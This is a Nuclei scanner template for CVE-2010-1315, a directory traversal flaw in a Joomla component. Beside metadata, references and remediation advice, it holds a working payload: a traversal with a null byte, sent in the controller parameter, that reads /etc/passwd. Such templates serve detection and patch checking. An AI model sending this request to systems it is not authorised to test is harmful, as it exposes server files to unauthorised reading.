id: CVE-2010-1315

info:
  name: Joomla! Component webERPcustomer - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in weberpcustomer.php in the webERPcustomer (com_weberpcustomer) component 1.2.1 and 1.x before 1.06.02 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11999
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1315
    - http://packetstormsecurity.org/1004-exploits/joomlaweberpcustomer-lfi.txt
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/57482
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1315
    cwe-id: CWE-22
    epss-score: 0.0087
    epss-percentile: 0.82023
    cpe: cpe:2.3:a:joomlamo:com_weberpcustomer:1.2.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joomlamo
    product: com_weberpcustomer
  tags: cve,cve2010,joomla,lfi,edb,packetstorm,joomlamo

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_weberpcustomer&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022046a43ff4633a29cd95d6198863f1f8264e8cbd85c754a6c323fed68b688e07d7022100f11e817a6309d336cea8546dfb10ebc8f025848d5fb1c60a3773eea86a70aa54:922c64590222798bb761d5b6d8e72950